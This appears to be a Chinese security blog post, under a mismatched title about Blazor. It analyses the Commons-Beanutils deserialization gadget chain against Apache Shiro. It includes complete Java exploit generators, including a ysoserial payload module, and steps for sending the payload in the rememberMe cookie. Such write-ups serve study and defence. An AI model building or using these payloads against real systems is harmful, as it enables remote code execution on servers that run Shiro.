Blazor是春天还是寒风里的挣扎
919 2023-04-03 03:43:46
此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的。
先上大佬写的简化版利用链,和ysoserial中的代码有点不同,但原理是一样的
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsBeanutils { // 修改值的方法,简化代码 public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static void main(String[] args) throws Exception { // 创建恶意类,用于报错抛出调用链 ClassPool pool = ClassPool.getDefault(); CtClass payload = pool.makeClass("EvilClass"); payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");// payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] evilClass = payload.toBytecode(); // set field TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilClass}); setFieldValue(templates, "_name", "test"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); // 创建序列化对象 BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator); queue.add(1); queue.add(1); // 修改值 setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); // 反序列化 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser")); out.writeObject(queue); ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser")); in.readObject(); }}
在分析每一条利用链的方法时候,我都会从以下几个点来进行分析:
1、首先要找到反序列化入口(source)
2、调用链(gadget)
3、触发漏洞的目标方法(sink)
而此条利用链,这三点分别为:
1)入口:
PriorityQueue#readObject
2)调用链:
PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties
3)触发漏洞的目标方法:
TemplatesImpl#getOutputProperties
PriorityQueue#readObject
作为CC2的入口点,在CB1链中同样是以此为入口,其readObject
中有个heapify
方法
跟进heapify
,在713行会去调用siftDown
方法,前提是满足for循环中的size值大于等于2
siftDown
方法中,通过一个if判断后,会调用到两个方法,而在siftDownUsingComparator
中才是执行调用链的操作
跟进siftDownUsingComparator
方法,可以看到在699行调用了comparator#compare
,整个PriorityQueue
类的漏洞调用链就是到这里了
BeanComparator
是一个bean比较器,用来比较两个JavaBean是否相等,其实现了java.util.Comparator
接口,有一个Comparator
方法
可以看到,在Comparator
方法中先判断property值是否为空,之后调用了PropertyUtils.getProperty
方法。而PropertyUtils.getProperty
这个方法会去调用传入的javaBean中this.property
值的getter方法,这个点是调用链的关键!
漏洞的触发点就是利用了TemplatesImpl#getOutputProperties()
方法的加载字节码,来调用到恶意类的构造方法、静态方法。整个调用链就不分析了,这里写下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
在ysoserial中的CB1链,其实是依赖commons.collections包的,也就是CC链中的包,因为其BeanComparator
类的构造方法中,会调用到ComparableComparator.getInstance()
,ComparableComparator
类就是在commons.collections包中。
shiro中自带了Commons-Beanutils组件,并没有自带commons.collections包。所以我们尝试修改CB1链来使其脱离commons.collections包的限制。
需要满足三个条件:
java.util.Comparator
接口java.io.Serializable
接口在这里师傅们找到了两个类
CaseInsensitiveComparator和java.util.Collections$ReverseComparator
以CaseInsensitiveComparator
类为例,CaseInsensitiveComparator
对象是通过String.CASE_INSENSITIVE_ORDER
拿到的
只需要把String.CASE_INSENSITIVE_ORDER
放入BeanComparator
类的构造函数中即可使if为真,从而不调用到CC组件中的类
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
这里使用P神已经写好的POC来进行测试,项目地址在https://github.com/phith0n/JavaThings
打开shiroattack项目
运行以上的Client1后,会生成cookie中对应的rememberMe值
shiro环境同样使用P神的环境https://github.com/phith0n/JavaThings,注释掉环境shiro环境中的commons-collections组件
访问/login.jsp界面勾选rememberMe登录,使用burp抓包,在cookie里面添加rememberMe=payload;
另一个类java.util.Collections$ReverseComparator
,也是通过其静态方法拿到
同样只需要把Collections.reverseOrder()
放入BeanComparator
类的构造函数中即可
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
把以下代码加入ysoserial的payloads模块即可
package ysoserial.payloads;import org.apache.commons.beanutils.BeanComparator;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.util.Collections;import java.util.PriorityQueue;public class CommonsBeanutils2 implements ObjectPayload<Object>{ public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder()); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsBeanutils2.class, args); }}
打包jar
mvn clean package -DskipTests
https://cloud.tencent.com/developer/article/1816604
https://www.cnblogs.com/bitterz/p/15401105.html